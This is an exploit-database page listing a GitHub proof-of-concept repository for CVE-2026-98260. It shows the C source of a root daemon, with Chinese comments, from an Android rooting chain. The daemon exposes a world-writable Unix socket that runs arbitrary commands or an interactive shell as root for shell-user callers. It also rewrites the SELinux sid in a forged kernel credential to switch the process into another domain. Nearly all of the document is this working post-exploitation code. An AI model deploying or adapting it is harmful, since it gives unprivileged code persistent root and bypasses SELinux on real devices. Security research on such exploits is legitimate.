Exploit database

GH-b2682eea148b61d664fff913b24cc4d4

lw5959/xring-cve-2026-98260

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
lw5959/xring-cve-2026-98260Revision 8b404774be19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/pc98260_rootd.c

C · 7,311 bytes
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define ROOT_SOCK "/data/local/tmp/pc98260-root.sock"
#define ROOTD_NAME "pc98260-rootd"


/* realcred 里定义强符号:fake 页映射 + 页内 SELinux cred blob 偏移。
 * blob 布局(本内核实测):+16 = task_security_struct 起点,
 *   +16+0 = osid,+16+4 = sid(SELinux 判定进程 context 用的字段)。
 * 这里用 weak 定义:本文件同时被 xr98260-key-ptr 等不带 realcred 的目标
 * 链接,那些目标拿到 NULL/0,SETSID 会安全地返回失败。 */
__attribute__((weak)) unsigned char *xr_fake_page;
__attribute__((weak)) unsigned int xr_fake_blob_off;

/* SETSID <sid>:把 fake blob 的 tsec->sid 改成 <sid>,让共享该 cred 的
 * 整个 rootd(及其后续 fork 的子进程)立即切换 SELinux 域。
 * late-load 加载 KSU 后可用它把 rootd 从 shell 域切到 ksu 域(sid 0x909)。 */
static int try_setsid(const char *command)
{
	dprintf(STDERR_FILENO, "[rootd] cmd=%.16s fake=%p off=%u\n",
		command, (void *)xr_fake_page, xr_fake_blob_off);
	if (strncmp(command, "SETSID ", 7) != 0)
		return 0;
	char *end = NULL;
	unsigned long sid = strtoul(command + 7, &end, 0);
	if (end == command + 7 || sid == 0 || sid > 0x7fffffffUL)
		return 0;
	if (!xr_fake_page)
		return 0;
	volatile uint32_t *tsec =
		(volatile uint32_t *)(xr_fake_page + xr_fake_blob_off + 16);
	tsec[1] = (uint32_t)sid;   /* tsec->sid */
	return 1;
}

static int read_exact(int fd, void *buffer, size_t length)
{
	char *p = buffer;
	while (length) {
		ssize_t got = read(fd, p, length);
		if (got < 0 && errno == EINTR) continue;
		if (got <= 0) return -1;
		p += got;
		length -= (size_t)got;
	}
	return 0;
}

static void handle_client(int fd)
{
	uint32_t length = 0;
	char command[4097];
	if (read_exact(fd, &length, sizeof(length)) || length > 4096U ||
	    read_exact(fd, command, length)) return;
	command[length] = 0;
	pid_t child = fork();
	if (child < 0) return;
	if (child == 0) {
		(void)dup2(fd, STDIN_FILENO);
		(void)dup2(fd, STDOUT_FILENO);
		(void)dup2(fd, STDERR_FILENO);
		if (fd > STDERR_FILENO) close(fd);
		if (try_setsid(command)) {
			dprintf(STDOUT_FILENO, "SETSID_OK\n");
			_exit(0);
		}
		char *const env[] = { (char *)"PATH=/system/bin:/vendor/bin:/data/local/tmp",
			(char *)"HOME=/data/local/tmp", NULL };
		if (length) {
			char *const argv[] = { (char *)"sh", (char *)"-c",
				command, NULL };
			execve("/system/bin/sh", argv, env);
		} else {
			char *const argv[] = { (char *)"sh", (char *)"-i", NULL };
			execve("/system/bin/sh", argv, env);
		}
		_exit(127);
	}
	/* 父进程立即回到 accept:dmesg -W 等长连接不能阻塞后续 root 命令。 */
}

/* 新版 rootd 的 cmdline[0] 是 pc98260-rootd(由 plant 的 --rootd 分支
 * exec 时传入),旧版同路径进程也用它。重复一键 root 时,旧实例会
 * 一直 listen 在被 unlink 的旧 socket 上,白占一个进程;这里在新实例
 * bind 之前把它们收掉。只认 cmdline[0] 的 basename,绝不动 xring_plant
 * 的 holder(fake cred 进程,kill 会触发 cred.c BUG)。 */
static void stop_old_instances(void)
{
	char self[16];
	DIR *dir;
	struct dirent *de;
	int killed = 0;

	if (prctl(PR_GET_NAME, self, 0, 0, 0) || strcmp(self, ROOTD_NAME))
		return;
	dir = opendir("/proc");
	if (!dir)
		return;
	while ((de = readdir(dir))) {
		char path[64], cmd[256];
		char *arg0, *nul, *base;
		int pid, fd;
		ssize_t n;
		if (de->d_name[0] < '1' || de->d_name[0] > '9')
			continue;
		pid = atoi(de->d_name);
		if (pid <= 0 || pid == (int)getpid())
			continue;
		snprintf(path, sizeof(path), "/proc/%d/cmdline", pid);
		fd = open(path, O_RDONLY | O_CLOEXEC);
		if (fd < 0)
			continue;
		n = read(fd, cmd, sizeof(cmd) - 1);
		close(fd);
		if (n <= 0)
			continue;
		cmd[n] = 0;
		nul = memchr(cmd, 0, (size_t)n);
		if (nul)
			*nul = 0;
		arg0 = cmd;
		base = strrchr(arg0, '/');
		base = base ? base + 1 : arg0;
		if (strcmp(base, ROOTD_NAME))
			continue;
		if (kill(pid, SIGKILL) == 0)
			killed++;
	}
	closedir(dir);
	if (killed) {
		struct timespec ts = { .tv_nsec = 100000000 };
		nanosleep(&ts, NULL);
		dprintf(STDERR_FILENO, "[rootd] replaced %d old instance(s)\n",
			killed);
	}
}

static void rootd_error(const char *what)
{
	int saved = errno;
	int fd = open(ROOT_SOCK ".err",
		      O_WRONLY | O_CREAT | O_APPEND | O_CLOEXEC, 0666);
	if (fd >= 0) {
		dprintf(fd, "[rootd] %s errno=%d (%s)\n",
			what, saved, strerror(saved));
		close(fd);
	}
	dprintf(STDERR_FILENO, "[rootd] %s errno=%d (%s)\n",
		what, saved, strerror(saved));
}

int pc98260_run_rootd(void)
{
	sigset_t empty;
	const char *path = ROOT_SOCK;
	const char *tmp = ROOT_SOCK ".new";
	int listener, bound;
	mode_t old_umask;
	struct sockaddr_un address = { .sun_family = AF_UNIX };

	if (getuid() != 0 || geteuid() != 0) return 1;
	/* cred_child 为了续期安全用 sigfillset() 屏蔽了全部信号;fork/exec
	 * 都会继承信号屏蔽字。这里必须清空,否则旧实例收不到 SIGTERM,
	 * rootd 也无法响应正常的终止信号。 */
	sigemptyset(&empty);
	sigprocmask(SIG_SETMASK, &empty, NULL);
	(void)signal(SIGHUP, SIG_IGN);
	(void)signal(SIGCHLD, SIG_IGN);
	(void)signal(SIGPIPE, SIG_IGN);
	if (strlen(tmp) >= sizeof(address.sun_path))
		return 1;
	listener = socket(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (listener < 0) {
		rootd_error("socket");
		return 1;
	}
	/* ★先把新 socket 建在 .new,bind/chown/chmod/listen 全部成功、
	 * rename 原子替换旧路径之后,才去杀旧实例。旧版是“先杀旧、后
	 * bind”,一旦 ksu 域下 bind/chown 被 SELinux 拒绝,旧 rootd 已死、
	 * 新 rootd 又退出,直接双输(实测第二次 plant 后 rootd 消失)。 */
	(void)unlink(tmp);
	strncpy(address.sun_path, tmp, sizeof(address.sun_path) - 1);
	old_umask = umask(007);
	bound = bind(listener, (struct sockaddr *)&address, sizeof(address));
	(void)umask(old_umask);
	if (bound) {
		rootd_error("bind");
		close(listener);
		unlink(tmp);
		return 1;
	}
	/* realcred 下 rootd 是真 cred(uid0)进程;把 socket 属主交给
	 * shell(2000) 并给 0666,保证 shell 域的 pc98260-su 客户端能连。 */
	if (chown(tmp, 2000, 2000) || chmod(tmp, 0666) || listen(listener, 8)) {
		rootd_error("chown/chmod/listen");
		close(listener);
		unlink(tmp);
		return 1;
	}
	if (rename(tmp, path)) {
		rootd_error("rename");
		close(listener);
		unlink(tmp);
		return 1;
	}
	/* 新路径已就位,再收掉旧实例。 */
	stop_old_instances();
	dprintf(STDERR_FILENO, "[rootd] listening at %s pid=%d\n",
		path, getpid());
	for (;;) {
		int client = accept4(listener, NULL, NULL, SOCK_CLOEXEC);
		if (client < 0) {
			if (errno == EINTR) continue;
			break;
		}
		struct ucred peer;
		socklen_t peer_len = sizeof(peer);
		if (!getsockopt(client, SOL_SOCKET, SO_PEERCRED,
				&peer, &peer_len) &&
		    (peer.uid == 0 || peer.uid == 2000))
			handle_client(client);
		close(client);
	}
	close(listener);
	return 1;
}